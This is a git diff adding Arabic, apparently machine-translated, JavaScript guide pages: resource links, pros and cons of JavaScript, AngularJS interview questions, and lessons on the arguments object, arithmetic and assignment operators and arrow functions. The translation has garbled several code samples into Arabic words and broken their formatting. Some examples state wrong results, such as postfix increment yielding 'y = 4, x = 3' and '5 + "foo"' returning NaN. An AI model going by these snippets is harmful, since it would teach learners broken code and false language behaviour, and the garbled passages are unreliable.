+كما يتضح من المثال أعلاه ، فإن متغيرات النوع البدائي تتصرف بشكل مختلف قليلاً عن متغيرات النوع المرجعي (& التفاف) - بينما المتغيرات الأولية _تخزن_ القيمة الفعلية ، _تشير_ المتغيرات المرجعية _إلى_ "كائن" يحتوي على القيمة الفعلية. يمكنك معرفة المزيد في الأقسام المرتبطة أدناه.
+
+# موارد آخرى
+
+*   [أنواع البيانات](https://guide.freecodecamp.org/java/data-types)
+*   [الطبقات والكائنات](https://guide.freecodecamp.org/java/classes-and-objects)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/additional-javascript-resources/index.md b/client/src/guide/arabic/javascript/additional-javascript-resources/index.md
new file mode 100644
index 0000000000..a69bd0f8ce
--- /dev/null
+++ b/client/src/guide/arabic/javascript/additional-javascript-resources/index.md
@@ -0,0 +1,129 @@
+---
+title: JavaScript Tutorials and Other Resources
+localeTitle: دروس JavaScript وموارد أخرى
+---
+*   [جافا سكريبت للقطط](http://jsforcats.com/)
+*   [دروس JavaScript الحديثة](https://javascript.info/)
+*   [البروفيسور فريسبي في معظمها دليل كاف للبرمجة الوظيفية](https://github.com/DrBoolean/mostly-adequate-guide)
+*   [جافا سكريبت البليغ](http://www.eloquentjavascript.net) ( [_المشروح_](https://watchandcode.com/courses/eloquent-javascript-the-annotated-version) )
+*   [التحدث بجافا سكريبت](http://speakingjs.com/es5/)
+*   [استكشاف ES6](http://exploringjs.com/es6/)
+*   [Udemy - Javascript فهم الأجزاء الغريبة ( _أول 3.5 ساعات_ )](https://www.youtube.com/watch?v=Bv_5Zv5c-Ts)
+*   [برمجة وظيفية في JavaScript](https://www.youtube.com/playlist?list=PL0zVEGEvSaeEd9hlmCXrk5yUyqUag-n84)
+*   [مقدمة لجافا سكريبت: الخطوات الأولى](https://www.educative.io/collection/5679346740101120/5720605454237696?authorName=Arnav%20Aggarwal)
+*   [فيديو دوغلاس كروكفورد](https://www.youtube.com/watch?v=v2ifWcnQs6M&index=1&list=PL62E185BB8577B63D)
+*   [الحديث JS Cheatsheet](https://mbeaudru.github.io/modern-js-cheatsheet/)
+*   [أفضل 50 موقعًا على الويب لتعلم JavaScript](http://www.codeconquest.com/blog/top-50-websites-to-learn-javascript/)
+*   [البرنامج التعليمي JavaScript Codified](https://www.codementor.io/community/topic/javascript)
+*   [قد لا تحتاج إلى jQuery](http://youmightnotneedjquery.com/)
+
+## المراجع
+
+*   [DevDocs](http://devdocs.io)
+*   [OverAPI JavaScript Cheat Sheet](http://overapi.com/javascript)
+*   [ECMA-262](http://www.ecma-international.org/publications/standards/Ecma-262.htm)
+*   [شبكة مطوري موزيلا (MDN)](https://developer.mozilla.org/en-US/docs/Web/JavaScript)
+
+ابحث عن مكتبات جافا سكريبت على [http://jster.net](http://jster.net)
+
+## جافا سكريبت السريع
+
+*   [REPL](https://repl.it/languages/Javascript) ( [_عقدة_](https://repl.it/languages/iojs/) )
+*   [JSBin](http://jsbin.com)
+*   [JSFiddle](https://jsfiddle.net)
+*   [CodePen](http://codepen.io)
+*   [CoderPad ( _برمجة الزوج_ )](http://coderpad.io)
+*   [C9 ( _بيئة تطوير متكاملة_ ، _برمجة زوجية_ )](http://c9.io)
+*   [ملعب كائن ( _تصور الكائنات_ )](http://www.objectplayground.com/)
+*   [الضارب](http://plnkr.co)
+
+## التحديات
+
+*   [قانون الحروب](http://codewars.com)
+*   [تصنيف هاكر](https://hackerrank.com)
+*   [لعبة الترميز](http://codingame.com)
+*   [CodeFights](https://codefights.com/home)
+*   [ES6 كاتاس](http://es6katas.org)
+
+## دروس
+
+*   [كودكاديمي](https://www.codecademy.com)
+*   [RithmSchool](https://www.rithmschool.com)
+
+## تمارين
+
+*   [Codility](https://codility.com/programmers/lessons/)
+*   [Coderbyte](http://coderbyte.com)
+*   [Exercism](http://exercism.io)
+*   [JavaScript30](https://javascript30.com/)
+*   [Javascript.com (Pluralsight)](https://www.javascript.com/)
+
+## المحررين
+
+*   [كود الاستوديو المرئي](https://code.visualstudio.com/)
+    
+    يتضمن Visual Studio Code دعمًا مضمنًا لإكمال تعليمات IntelliSense ، وفهم الشفرة الدلالية الغنية والتنقل ، وإعادة بيع الكود. لأنه يأتي مع مصحح مدمج ودعم git ويحتوي على وفرة من ملحقات.
+    
+*   [Webstorm](https://www.jetbrains.com/webstorm/)
+    
+    IDE كامل الميزات لجافا سكريبت ، بما في ذلك اكتمال الشفرة ودعم الفحص المباشر والتحكم في الإصدار والاختبار. مصنوعة من قبل العقول النفاثة ونمذجتها بعد IDE IntelliJ جافا.
+    
+*   [اقواس](http://brackets.io)
+    
+*   [ذرة](http://atom.io)
+    
+    محرر نص مفتوح المصدر من GitHub.
+    
+*   [نص سامي](https://www.sublimetext.com/)
+    
+
+## المدونات
+
+*   [الكمال يقتل](http://perfectionkills.com)
+*   [2ality](http://www.2ality.com/)
+*   [مجموعة شبيبة في المتوسط](https://medium.com/the-javascript-collection)
+*   [ديفيد والش](https://davidwalsh.name/)
+*   [superheroJS](http://superherojs.com/)
+
+## المدونة الصوتية
+
+*   [شبيبة جابر](https://devchat.tv/js-jabber)
+
+## دروس الفيديو
+
+*   [ديريك Banas 'تعلم شبيبة في واحد فيديو](https://www.youtube.com/watch?v=fju9ii8YsGs)
+*   [Derek Banas 'Object Oriented JavaScript](https://www.youtube.com/watch?v=O8wwnhdkPE4)
+
+## كتب
+
+*   [أسرار جافا سكريبت النينجا](https://www.manning.com/books/secrets-of-the-javascript-ninja)
+    
+*   [برمجة تطبيقات جافا سكريبت](http://pjabook.com/)
+    
+*   [صيانة جافا سكريبت](http://shop.oreilly.com/product/0636920025245.do)
+    
+*   [تعلم أنماط تصميم جافا سكريبت](http://addyosmani.com/resources/essentialjsdesignpatterns/book/)
+    
+*   [Airbnb جافا سكريبت دليل الاسلوب](https://github.com/airbnb/javascript)
+    
+*   [JSDoc](http://usejsdoc.org/)
+    
+*   [جافا سكريبت Allonge ستة](https://leanpub.com/javascriptallongesix/read)
+    
+*   [أنت لا تعرف شبيبة](https://github.com/getify/You-Dont-Know-JS)
+    
+    6 كتب على JavaScript بواسطة Kyle Simpson. من المبتدئ إلى المتقدم.
+    
+*   [بلاغة جافا سكريبت](http://www.eloquentjavascript.net)
+    
+    مقدمة رائعة وشاملة لأساسيات وميزات جافا سكريبت ، كاملة مع رمز تفاعلي في المتصفح
+    
+*   [البروفيسور فريسبي في معظمها دليل كاف للبرمجة الوظيفية](https://github.com/DrBoolean/mostly-adequate-guide)
+    
+    دليل متعمق جدا للبرمجة الوظيفية في جافاسكريبت
+    
+*   [طريقة جافا سكريبت](https://github.com/bpesquet/thejsway)
+    
+*   [ضوء وظيفي شبيبة](https://github.com/getify/Functional-Light-JS)
+    
+    يهدف هذا الكتاب ليكون رفيقا مفيدا لأي شخص يرغب في (إعادة) اكتشاف جوانب كثيرة من جافا سكريبت. بدءًا من أساسيات البرمجة إلى تطوير الويب إلى الواجهة الأمامية والخلفية ، يتم تغطية الكثير من الموضوعات بطريقة بسيطة ويسهل الوصول إليها. لا حاجة المعرفة السابقة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/advantages-and-disadvantages-of-javascript/index.md b/client/src/guide/arabic/javascript/advantages-and-disadvantages-of-javascript/index.md
new file mode 100644
index 0000000000..bdce31f4c2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/advantages-and-disadvantages-of-javascript/index.md
@@ -0,0 +1,24 @@
+---
+title: Advantages and Disadvantages of JavaScript
+localeTitle: مزايا وعيوب جافا سكريبت
+---
+# مزايا وعيوب جافا سكريبت
+
+مثل جميع لغات الكمبيوتر ، جافا سكريبت لديه مزايا وعيوب معينة. ترتبط العديد من الإيجابيات والسلبيات بتنفيذ جافا سكريبت غالبًا في متصفح العميل ، ولكن هناك طرق أخرى لاستخدام جافا سكريبت الآن تسمح لها بالحصول على نفس الفوائد من اللغات الموجودة على الخادم.
+
+## مزايا جافا سكريبت
+
+*   **السرعة** . يعد جافا سكريبت من جانب العميل سريعًا جدًا لأنه يمكن تشغيله على الفور من خلال متصفح العميل. ما لم تكن هناك حاجة إلى موارد خارجية ، فإن جافا سكريبت غير معاق عبر مكالمات الشبكة إلى خادم الواجهة الخلفية. كما أنه ليس هناك حاجة إلى أن يتم تجميعها على جانب العميل الذي يمنحها مزايا سرعة معينة (منح ، إضافة بعض المخاطر التي تعتمد على جودة الكود المطور).
+*   **بساطة** . جافا سكريبت بسيطة نسبيا للتعلم والتنفيذ.
+*   **شعبية** . يتم استخدام JavaScript في كل مكان على الويب. الموارد لتعلم جافا سكريبت عديدة. لدى StackOverflow و GitHub العديد من المشاريع التي تستخدم Javascript وقد اكتسبت اللغة ككل الكثير من الإقبال على الصناعة في السنوات الأخيرة خاصةً.
+*   **التوافقية** . يلعب JavaScript بشكل جيد مع لغات أخرى ويمكن استخدامه في مجموعة كبيرة من التطبيقات. على عكس نصوص PHP أو [SSI](https://en.wikipedia.org/wiki/Server_Side_Includes) ، يمكن إدراج JavaScript في أي صفحة ويب بغض النظر عن امتداد الملف. يمكن أيضًا استخدام JavaScript داخل نصوص مكتوبة بلغات أخرى مثل Perl و PHP.
+*   **تحميل الخادم** . من جانب العميل يقلل من الطلب على خادم الموقع.
+*   **واجهات غنية** . قد يؤدي سحب وإفلات المكونات أو شريط التمرير إلى توفير واجهة غنية لموقعك على الويب.
+*   **وظيفة موسعة** . تمكّن إضافات الطرف الثالث مثل Greasemonkey مطوري جافا سكريبت من كتابة قصاصات من جافا سكريبت والتي يمكن تنفيذها على صفحات الويب المطلوبة لتوسيع وظائفها.
+*   **براعة** . في الوقت الحاضر ، هناك العديد من الطرق لاستخدام JavaScript من خلال خوادم Node.js. إذا كنت تريد تشغيل node.js باستخدام Express ، استخدم قاعدة بيانات مستندات مثل mongodb ، واستخدم JavaScript في الواجهة الأمامية للعملاء ، فمن الممكن تطوير تطبيق JavaScript بالكامل من الأمام إلى الخلف باستخدام JavaScript فقط.
+*   **التحديثات** . منذ ظهور EcmaScript 5 (مواصفات البرمجة النصية التي تعتمد عليها Javascript) ، كرست Ecma International لتحديث JavaScript سنويًا. حتى الآن ، تلقينا دعم المتصفح لـ ES6 في عام 2017 ونتطلع إلى دعم ES7 في الأشهر المقبلة.
+
+## مساوئ جافا سكريبت
+
+*   **أمان جانب العميل** . لأن الرمز ينفذ على جهاز الكمبيوتر الخاص بالمستخدمين ، في بعض الحالات يمكن استغلاله لأغراض خبيثة. هذا أحد الأسباب التي تجعل بعض الأشخاص يختارون تعطيل Javascript.
+*   **دعم المتصفح** . أحيانًا يتم تفسير جافا سكريبت بشكل مختلف عن طريق متصفحات مختلفة. في حين أن البرامج النصية من جانب الخادم ستنتج دائمًا نفس الناتج ، فإن البرامج النصية من جانب العميل قد تكون غير قابلة للتنبؤ. لا تكن قلقًا جدًا من هذا الأمر - طالما أنك تختبر النص البرمجي في جميع المتصفحات الرئيسية ، يجب أن تكون آمنًا. أيضًا ، هناك خدمات بالخارج تسمح لك باختبار شفرتك تلقائيًا عند التحقق من التحديث للتأكد من أن جميع المتصفحات تدعم شفرتك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/angularjs-interview-questions/index.md b/client/src/guide/arabic/javascript/angularjs-interview-questions/index.md
new file mode 100644
index 0000000000..0051b920f2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/angularjs-interview-questions/index.md
@@ -0,0 +1,64 @@
+---
+title: Angularjs Interview Questions
+localeTitle: Angularjs مقابلة الأسئلة
+---
+# Angularjs مقابلة الأسئلة
+
+فيما يلي قائمة بالمفاهيم التي يتم طرحها بشكل متكرر في مقابلات Angularjs.
+
+*   ما هو AngularJS؟
+*   ما هو نموذج عرض المراقب المالي (MVC)؟
+*   اثنين من طريقة ربط البيانات
+*   ما هو حقن التبعية وكيف تعمل؟
+*   ما هو نطاق $ في AngularJS؟
+*   ما هو $ rootScope في AngularJS؟
+*   كيفية تنفيذ التوجيه في Angular؟
+*   شرح التوجيهات
+*   كيف يمكننا إنشاء توجيه مخصص في Angular؟
+*   شرح الفرق bewteen الخدمة والمصنع
+*   اشرح خدمة $ q ، المؤجلة والوعود
+
+# أمثلة الأسئلة والأجوبة
+
+السؤال: قائمة بالتوجيهات في AngularJS؟ الإجابة: ngBind ، ngModel ، ngClass ، ngApp ، ngInit ، ngRepeat
+
+سؤال: ما هو نطاق $ في AngularJS؟ الإجابة: النطاق $ في AngularJS هو كائن يشير إلى نموذج التطبيق. إنه كائن يربط العرض (عنصر DOM) مع وحدة التحكم. في وحدة التحكم ، يتم الوصول إلى بيانات النموذج عبر كائن نطاق $. كما نعلم ، AngularJS يدعم نمط MV \* ، يصبح كائن النطاق $ نموذج MV \*.
+
+السؤال: ما هو SPA (تطبيق صفحة واحدة) في AngularJS؟ الإجابة: تطبيقات الصفحة الواحدة (SPAs) هي تطبيقات ويب تقوم بتحميل صفحة HTML واحدة وتحديث هذه الصفحة ديناميكيًا أثناء تفاعل المستخدم مع التطبيق. تستخدم SPA SPA AJAX و HTML لإنشاء تطبيقات الويب السهلة والمتجاوبة بدون إعادة تحميل الصفحة بشكل ثابت. ومع ذلك ، فإن هذا يعني أن الكثير من العمل يحدث على جانب العميل ، في JavaScript. صفحة HTML واحدة هنا تعني صفحة استجابة واجهة المستخدم من الخادم. يمكن أن يكون المصدر ASP و ASP.NET و ASP.NET MVC و JSP وما إلى ذلك. ومع ذلك ، يتم تقديم تطبيق ويب أحادي الصفحة كصفحة واحدة إلى المتصفح ، وعادةً لا يتطلب إعادة تحميل الصفحة أثناء انتقال المستخدم إلى أجزاء مختلفة من التطبيق. وينتج عن ذلك التنقل السريع وعمليات نقل الشبكة الأكثر فاعلية والأداء العام الأفضل للمستخدم النهائي.
+
+السؤال: ما هو التوجيه في AngularJS؟ الإجابة: يعد التوجيه ميزة أساسية في AngularJS. هذه الميزة مفيدة في إنشاء SPA (تطبيق صفحة واحدة) مع طرق عرض متعددة. في تطبيق SPA ، تكون جميع المشاهدات ملفات Html مختلفة ونستخدم التوجيه لتحميل أجزاء مختلفة من التطبيق ومن المفيد تقسيم التطبيق منطقيًا وجعله قابلاً للإدارة. بمعنى آخر ، يساعدنا التوجيه على قسمة تطبيقنا في طرق العرض المنطقية وربطها بوحدات تحكم مختلفة.
+
+سؤال: اشرح توجيه ng-repeat. الإجابة: إن تعليمة ng-repeat هي ميزة AngularJS Directive الأكثر استخدامًا وإفادة. يتكرر عبر مجموعة من العناصر ويخلق عناصر DOM. تراقب باستمرار مصدر البيانات لإعادة تقديم نموذج استجابة للتغيير.
+
+السؤال: ما الفرق بين ng-If و ng-show / ng-hide. الإجابة: إذا كان الأمر ng-if يعرض عنصر DOM فقط إذا كان الشرط صحيحًا. حيث يؤدي تقديم ng-show / ng-hide إلى عرض عنصر DOM ولكنه يغيّر فئة ng-hide / ng-show للحفاظ على مستوى رؤية العنصر في الصفحة.
+
+سؤال: كيف يمكنك إلغاء المهلة مع AngularJs؟ الإجابة: مهلة $ هي عبارة عن مجمّع AngularJs لـ window.setTimeout ، يمكنك إلغاء مهلة تطبيق الوظيفة:
+
+ `$timeout.cancel(function (){ 
+  // write your code. 
+ }); 
+` 
+
+سؤال: ما هو حقن التبعية؟ جواب: Dependency Injection (DI) هو نمط تصميم برمجي يتعامل مع كيفية الحصول على المكونات من اعتمادياتها. النظام الفرعي للحاقن AngularJS هو المسؤول عن إنشاء المكونات ، حل اعتمادياتها ، وتوفيرها لمكونات أخرى على النحو المطلوب.
+
+Question: شرح ng-App directive. الإجابة: يبدأ توجيه ng-app تطبيق AngularJS. يحدد العنصر الجذر. يقوم تلقائيًا بتهيئة التطبيق أو تشغيله عند تحميل صفحة الويب التي تحتوي على تطبيق AngularJS. يتم استخدامه أيضا لتحميل وحدات AngularJS المختلفة في تطبيق AngularJS.
+
+سؤال: اشرح توجيه ng-init الإجابة: يشرح توجيه ng-init بيانات تطبيق AngularJS. يتم استخدامه لوضع القيم للمتغيرات لاستخدامها في التطبيق. على سبيل المثال: في المثال أدناه ، قمنا بتهيئة مجموعة من البلدان ، باستخدام بنية JSON لتحديد مجموعة من البلدان.
+
+ `
+<div ng-app = "" ng-init = "countries = [{locale:'en-US',name:'United States'}, {locale:'en-GB',name:'United Kingdom'}, {locale:'en-FR',name:'France'}]"> 
+   ... 
+ </div> 
+` 
+
+سؤال: كيف تشارك البيانات بين وحدات التحكم؟ الإجابة: أنشئ خدمة AngularJS التي ستحتفظ بالبيانات وحقنها داخل وحدات التحكم. يعد استخدام الخدمة هو الطريقة الأنظف والأسرع والأسهل للاختبار. ومع ذلك ، هناك طريقتان آخرتان لتنفيذ مشاركة البيانات بين وحدات التحكم ، مثل: - استخدام الأحداث - استخدام $ parent ، nextSibling ، controllerAs ، وما إلى ذلك للوصول مباشرة إلى وحدات التحكم - استخدام $ rootScope لإضافة البيانات على (ليس ممارسة جيدة)
+
+السؤال: ما الفرق بين إرشادات ng-if و ng-show / hide؟ الإجابة: ng-if ستقوم فقط بإنشاء وعرض عنصر DOM عندما تكون حالته صحيحة ، إذا كان الشرط خاطئًا أو تغييرات على false لن يقوم بإنشاء أو تدمير العنصر الذي تم إنشاؤه. سيعمل ng-show / hide دائمًا على إنشاء عنصر DOM ولكنه سيطبّق خاصية عرض css استنادًا إلى تقييم الشرط.
+
+#### معلومات اكثر:
+
+هنا يمكنك العثور على أسئلة وأجوبة أخرى:
+
+*   [AngularJS أسئلة المقابلة](https://www.tutorialspoint.com/angularjs/angularjs_interview_questions.htm)
+*   [10 أسئلة وأجوبة مقابلة AngularJS](https://www.upwork.com/i/interview-questions/angularjs/)
+*   [50 أهم أسئلة مقابلة AngularJS لنجاح 100 ٪](http://www.techbeamers.com/latest-angularjs-interview-questions-answers/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/arguments/index.md b/client/src/guide/arabic/javascript/arguments/index.md
new file mode 100644
index 0000000000..ede6cf8356
--- /dev/null
+++ b/client/src/guide/arabic/javascript/arguments/index.md
@@ -0,0 +1,79 @@
+---
+title: Arguments
+localeTitle: الحجج
+---
+يُعتبر كائن الوسيطات كائنًا **شبيهًا بالصفيف** _(في أن بنية الكائن تشبه كائن الصفيف ، ومع ذلك لا ينبغي اعتبارها صفيفًا كما تحتوي على جميع وظائف كائن)_ التي تخزن جميع الوسيطات التي تم تمريرها إلى وظيفة وهي ملكية خاصة لتلك الوظيفة. لو كنت لتمر 3 الحجج إلى وظيفة، ويقول `storeNames()` ، سيتم تخزين هذه الحجج 3 داخل الكائن يسمى **الحجج** وسيبدو هذا عندما نعبر الحجج `storeNames("Mulder", "Scully", "Alex Krycek")` إلى `storeNames("Mulder", "Scully", "Alex Krycek")` :
+
+*   أولاً ، نعلن عن وظيفة ونجعلها ترجع كائن الوسائط.
+
+\`\` \`جافا سكريبت  
+function storeNames () {return arguments؛ }
+
+ `*   Then, when we execute that function with **n arguments**, 3 in this case, it will return the object to us and it will **look like** an array. We can convert it to an array, but more on that later... 
+` 
+
+جافا سكريبت // إذا قمنا بتنفيذ السطر التالي في وحدة التحكم: storeNames ("Mulder"، "Scully"، "Alex Kryceck")؛ // سيكون الناتج {'0': 'Mulder' ، '1': 'Scully' ، '2': 'Alex Kryceck'}
+
+ ``If you want to know more about this, such as converting it to an array or the optimization problem that comes with using the _slice(_) method and how to solve it, click on **read more** (Gitter Chat Only). 
+ 
+ ## Treat it as an array 
+ 
+ You can invoke arguments by using `arguments[n]` (where _n_ is the index of the argument in the array-like object) but if you want to use it as an array for iteration purposes or applying array methods to it, you need to _convert it to an array_ by declaring a variable and using the Array.prototype.slice.call method (because _arguments_ is not an array): 
+`` 
+
+جافا سكريبت var args = Array.prototype.slice.call (الحجج) ؛
+
+// أو طريقة es6: var args = Array.from (الحجج)
+
+ `Since **slice()** has two (the parameter **end** is optional) parameters, you can grab a certain portion of the arguments by specifying (using the _slice.call()_ method renders these two parameters optional, not just _end_) the beginning and the ending of your portion; check out the following code: 
+` 
+
+جافا سكريبت function getGrades () { var args = Array.prototype.slice.call (الحجج ، 1 ، 3) ؛ عودة الارجاع }
+
+// دعونا إخراج هذا! console.log (getGrades (90، 100، 75، 40، 89، 95))؛
+
+// يجب أن يكون الناتج: // // \[100 ، 75\] <- لماذا؟ لأنه بدأ من الفهرس 1 وتوقف عند الفهرس 3 // لذلك ، لم يؤخذ في الاعتبار المؤشر 3 (40). // // إذا أزلنا المعلمة "3" ، لن نتركها سوى (الحجج ، 1) // كل حجة من الفهرس 1: \[100 ، 75 ، 40 ، 89 ، 95\].
+
+ `### Optimization issues with Array.slice() 
+ 
+ There is a little problem, it's not recommended to use slice in the arguments object (optimization reasons)... 
+ 
+ > **Important**: You should not slice on arguments because it prevents optimizations in JavaScript engines (V8 for example). Instead, try constructing a new array by iterating through the arguments object. 
+ > 
+ > _by_ **_Mozilla Developer Network_** <a href='https://developer.mozilla.org/ca/docs/Web/JavaScript/Reference/Functions/arguments' target='_blank' rel='nofollow'>(reference)<a> 
+ 
+ 
+ 
+ So, what other method is available to convert _arguments_ to an array? I recommend the for-loop (not the for-in loop), you can do it like this: 
+` 
+
+جافا سكريبت var args = \[\]؛ // صفيف فارغ ، في البداية. لـ (var i = 0؛ i <arguments.length؛ i ++) { args.push (الحجج \[أنا\]) } // Now 'args' هي مصفوفة تحمل وسائطك. \`\` \`
+
+لمزيد من المعلومات حول مشكلات التحسين:  
+القتلة الأمثل: [إدارة الحجج](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments)
+
+### معلمة الراحة ES6 كطريقة للتحايل على كائن الوسائط
+
+في ES2015 / ES6 من الممكن استخدام المعلمة المتبقية ( `...` ) بدلاً من كائن الوسائط في معظم الأماكن. لنفترض أن لدينا الوظيفة التالية (غير ES6):
+
+ `function getIntoAnArgument() { 
+    var args = arguments.slice(); 
+    args.forEach(function(arg) { 
+        console.log(arg); 
+    }); 
+ } 
+` 
+
+يمكن استبدال هذه الوظيفة في ES6 من خلال:
+
+ `function getIntoAnArgument(...args) { 
+    args.forEach(arg => console.log(arg)); 
+ } 
+` 
+
+لاحظ أننا استخدمنا أيضًا وظيفة سهم لتقصير معاودة الاتصال forEach!
+
+كائن الوسائط غير متاح داخل جسم وظيفة السهم.
+
+يجب أن تأتي المعلمة الباقية كوسيطة أخيرة في تعريف الدالة الخاص بك.  
+`function getIntoAnArgument(arg1, arg2, arg3, ...restOfArgs /*no more arguments allowed here*/) { //function body }`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/arithmetic-operation/index.md b/client/src/guide/arabic/javascript/arithmetic-operation/index.md
new file mode 100644
index 0000000000..abafd8106b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/arithmetic-operation/index.md
@@ -0,0 +1,128 @@
+---
+title: Arithmetic Operation
+localeTitle: عملية حسابية
+---
+يوفر JavaScript المستخدم بخمس معاملات حسابية: `+` ، `-` ، `*` ، `/` و `%` . المشغلين هي لالجمع والطرح والضرب والقسمة والبقية على التوالي.
+
+## إضافة
+
+**بناء الجملة**
+
+`a + b`
+
+**استعمال**
+
+ `2 + 3          // returns 5 
+ true + 2       // interprets true as 1 and returns 3 
+ false + 5      // interprets false as 0 and returns 5 
+ true + "bar"   // concatenates the boolean value and returns "truebar" 
+ 5 + "foo"      // concatenates the string and the number and returns "5foo" 
+ "foo" + "bar"  // concatenates the strings and returns "foobar" 
+` 
+
+_تلميح:_ وجود عامل [زيادة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment_() يدوية) يمثل اختصارًا رائعًا عندما تضيف أرقامًا بمقدار 1.
+
+## طرح
+
+**بناء الجملة**
+
+`a - b`
+
+**استعمال**
+
+ `2 - 3      // returns -1 
+ 3 - 2      // returns 1 
+ false - 5  // interprets false as 0 and returns -5 
+ true + 3   // interprets true as 1 and returns 4 
+ 5 + "foo"  // returns NaN (Not a Number) 
+` 
+
+_تلميح:_ وجود عامل [إنقاص](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement_(--) مفيد) يمثل اختصارًا رائعًا عند طرح الأرقام بمقدار 1.
+
+## عمليه الضرب
+
+**بناء الجملة**
+
+`a * b`
+
+**استعمال**
+
+ `2 * 3                // returns 6 
+ 3 * -2               // returns -6 
+ false * 5            // interprets false as 0 and returns 0 
+ true * 3             // interprets true as 1 and returns 3 
+ 5 * "foo"            // returns NaN (Not a Number) 
+ Infinity * 0         // returns NaN 
+ Infinity * Infinity  // returns Infinity 
+` 
+
+## قطاع
+
+**بناء الجملة**
+
+`a / b`
+
+**استعمال**
+
+ `3 / 2                // returns 1.5 
+ 3.0 / 2/0            // returns 1.5 
+ 3 / 0                // returns Infinity 
+ 3.0 / 0.0            // returns Infinity 
+ -3 / 0               // returns -Infinity 
+ false / 5            // interprets false as 0 and returns 0 
+ true / 2             // interprets true a 1 and returns 0.5 
+ 5 + "foo"            // returns NaN (Not a Number) 
+ Infinity / Infinity  // returns NaN 
+` 
+
+## بقية
+
+**بناء الجملة**
+
+`a % b`
+
+**استعمال**
+
+ `3 % 2          // returns 1 
+ true % 5       // interprets true as 1 and returns 1 
+ false % 4      // interprets false as 0 and returns 0 
+ 3 % "bar"      // returns NaN 
+` 
+
+## زيادة راتب
+
+**بناء الجملة**
+
+`a++ or ++a`
+
+**استعمال**
+
+ `// Postfix 
+ x = 3;  // declare a variable 
+ y = x++;        // y = 4, x = 3 
+ 
+ // Prefix 
+ var a = 2; 
+ b = ++a; // a = 3, b = 3 
+` 
+
+## إنقاص
+
+**بناء الجملة**
+
+`a-- or --a`
+
+**استعمال**
+
+ `// Postfix 
+ x = 3;  // declare a variable 
+ y = x--;        // y = 3, x = 3 
+ 
+ // Prefix 
+ var a = 2; 
+ b = --a; // a = 1, b = 1 
+` 
+
+_!مهم!_ كما ترى ، **لا يمكنك** إجراء أي نوع من العمليات على `Infinity` .
+
+المصدر: المدهش [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/arrow-functions/index.md b/client/src/guide/arabic/javascript/arrow-functions/index.md
new file mode 100644
index 0000000000..630d6129cf
--- /dev/null
+++ b/client/src/guide/arabic/javascript/arrow-functions/index.md
@@ -0,0 +1,63 @@
+---
+title: Arrow Functions
+localeTitle: وظائف السهم
+---
+وظائف Arrow هي بنية ES6 جديدة لكتابة تعبيرات دالة JavaScript. يوفر بناء الجملة الأقصر الوقت ، فضلاً عن تبسيط نطاق الوظائف.
+
+## ما هي وظائف السهم؟
+
+تعبير دالة السهم هو صيغة موجزة أكثر لكتابة تعبيرات الدالة باستخدام الرمز المميز "fat fat" ( `=>` ).
+
+### التركيب الأساسي
+
+فيما يلي مثال أساسي لوظيفة السهم:
+
+ `// ES5 syntax 
+ var multiply = function(x, y) { 
+  return x * y; 
+ }; 
+ 
+ // ES6 arrow function 
+ var multiply = (x, y) => { return x * y; }; 
+ 
+ // Or even simpler 
+ var multiply = (x, y) => x * y; 
+` 
+
+لم تعد تحتاج إلى `function` `return` الكلمات الرئيسية ، أو حتى الأقواس المتعرجة.
+
+### تبسيط `this`
+
+قبل ظائف السهم، حددت وظائف جديدة خاصة بهم `this` القيمة. لاستخدام `this` داخل تعبير دالة تقليدي ، يجب علينا كتابة حل بديل مثل:
+
+ ``// ES5 syntax 
+ function Person() { 
+  // we assign `this` to `self` so we can use it later 
+  var self = this; 
+  self.age = 0; 
+ 
+  setInterval(function growUp() { 
+    // `self` refers to the expected object 
+    self.age++; 
+  }, 1000); 
+ } 
+`` 
+
+لا تحدد وظيفة السهم `this` القيمة الخاصة به ، بل إنها تكتسب `this` من وظيفة الإحاطة:
+
+ ``// ES6 syntax 
+ function Person(){ 
+  this.age = 0; 
+ 
+  setInterval(() => { 
+    // `this` now refers to the Person object, brilliant! 
+    this.age++; 
+  }, 1000); 
+ } 
+ 
+ var p = new Person(); 
+`` 
+
+#### قراءة متعمقة
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/assignment-operators/index.md b/client/src/guide/arabic/javascript/assignment-operators/index.md
new file mode 100644
index 0000000000..166ee9e6df
--- /dev/null
+++ b/client/src/guide/arabic/javascript/assignment-operators/index.md
@@ -0,0 +1,65 @@
+---
+title: Assignment Operators
+localeTitle: مشغلي الواجبات
+---
+# مشغلي الواجبات
+
+مشغلات التعيين ، كما يوحي الاسم ، تعيين (أو إعادة تخصيص) القيم لمتغير. وعلى الرغم من وجود بعض الاختلافات القليلة في مشغلي المهام ، فإنهم يبنون جميعاً على مشغِّل المهمة الأساسية.
+
+## بناء الجملة
+
+`x = y;` | الوصف | ضرورة : ---------: |: ---------------------: |: ---------:  
+`x` | متغير مطلوب  
+`=` | عامل التنازل | مطلوب  
+`y` | قيمة لتعيين متغير مطلوب
+
+## أمثلة
+
+ `let initialVar = 5;   // Variable initialization requires the use of an assignment operator 
+ 
+ let newVar = 5; 
+ newVar = 6;   // Variable values can be modified using an assignment operator 
+` 
+
+## الاختلافات
+
+مشغلات التخصيص الأخرى هي اختصار لأداء بعض العمليات باستخدام المتغير (المشار إليه بواسطة x أعلاه) والقيمة (المشار إليها بـ y أعلاه) ثم تخصيص النتيجة للمتغير نفسه.
+
+على سبيل المثال ، أدناه هو بناء جملة عامل تعيين إضافة:
+
+ `x += y; 
+` 
+
+هذا هو نفس تطبيق عامل الإضافة وإعادة تعيين المبلغ للمتغير الأصلي (أي ، x) ، والذي يمكن التعبير عنه بالرمز التالي:
+
+ `x = x + y; 
+` 
+
